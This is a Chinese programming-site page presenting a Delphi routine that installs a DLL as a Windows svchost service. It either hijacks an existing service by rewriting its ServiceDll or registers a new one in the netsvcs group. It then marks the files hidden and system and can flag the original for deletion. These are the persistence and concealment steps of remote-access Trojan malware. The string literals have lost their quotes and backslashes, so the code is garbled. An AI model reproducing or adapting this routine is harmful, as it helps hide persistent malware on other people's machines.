当前位置:编程学习 > VC++ >>

替换和安装新svchost服务

procedure Install(var DelMe:Boolean );stdcall ;
var
FileName: array[0..255] of Char;
reg:TRegistry;
hSCM,hSCS: Cardinal ;
ss : TServiceStatus;
Args : PChar;
s,s1:string;
begin
FillChar(FileName,SizeOf(FileName),0);
GetModuleFileName(HInstance, FileName, SizeOf(FileName));
s := Config.DIR+config.FileName;
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE ;
hSCM := OpenSCManager(nil,Nil,SC_MANAGER_ALL_ACCESS);
if hSCM = 0 then Exit ;
case Config.StartupMode of
RunAsServiceD : //s:现存服务启动
    begin
      hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
      if hSCS <> 0 then
      begin
        ControlService(hSCS ,SERVICE_CONTROL_STOP,ss);
        ChangeServiceConfig(hSCS,
                         SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS,
                         SERVICE_AUTO_START,
                         SERVICE_NO_CHANGE,
                         nil,nil,nil,nil,nil,nil,nil);
        if lstrcmpi(FileName,PChar(s)) <> 0 then
        begin
          Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
          CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹
        end;
        reg.OpenKey(SYSTEMCurrentControlSetServices+config.SrvName+,True) ;
        SetPrivilege(SeBackupPrivilege);
        RegSaveKey(reg.CurrentKey ,PChar(s+.uns),nil);
        SetPrivilege(SeBackupPrivilege,False );
        reg.CloseKey;
        reg.OpenKey(SYSTEMCurrentControlSetServices+config.SrvName+
          Parameters,True) ;
        reg.WriteData(ServiceDll,s[1],Length(s),REG_EXPAND_SZ );
        StartService(hSCS , 0, Args);
        CloseServiceHandle(hSCS);
      end;
    end;
RunAsService : //新建服务启动
    begin
      InstallService(Config.SrvName,
                     Config.DisplayName,
                     %SystemRoot%System32svchost.exe -k netsvcs,
                     Config.Description); //安装服务
      if lstrcmpi(FileName,PChar(s)) <> 0 then
      begin
        Setfileattributes(PChar(s),FILE_ATTRIBUTE_NORMAL );
        CopyFile(FileName, PChar(s),False) ; //copy到指定文件夹
      end;

      reg.OpenKey(SYSTEMCurrentControlSetServices+config.SrvName+
        Parameters,True) ;
      reg.WriteData(ServiceDll,s[1],Length(s),REG_EXPAND_SZ );
      reg.CloseKey;
      reg.OpenKey(SOFTWAREMicrosoftWindows NTCurrentVersionSvchost,False );
      SetPrivilege(SeBackupPrivilege);
      RegSaveKey(reg.CurrentKey ,PChar(s+.uns),nil);
      SetPrivilege(SeBackupPrivilege,False );
      s1 := reg.ReadString(netsvcs);
      s1 := config.SrvName+#0+s1;
      reg.WriteData(netsvcs,s1[1],Length(s1),REG_MULTI_SZ );
      hSCS := OpenService(hSCM ,PChar(string(config.SrvName)), SERVICE_ALL_ACCESS);
      if hSCS <> 0 then
      begin
        StartService(hSCS , 0, Args);
        CloseServiceHandle(hSCS);
      end;
    end;
end;
CloseServiceHandle(hSCM);
reg.CloseKey ;
reg.Free;
Setfileattributes(PChar(s),FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_HIDDEN);
Setfileattributes(PChar(s+.uns),FILE_ATTRIBUTE_SYSTEM+
        FILE_ATTRIBUTE_HIDDEN);
DelMe := Config.RMwIns;
end;

补充:软件开发 , Vc ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,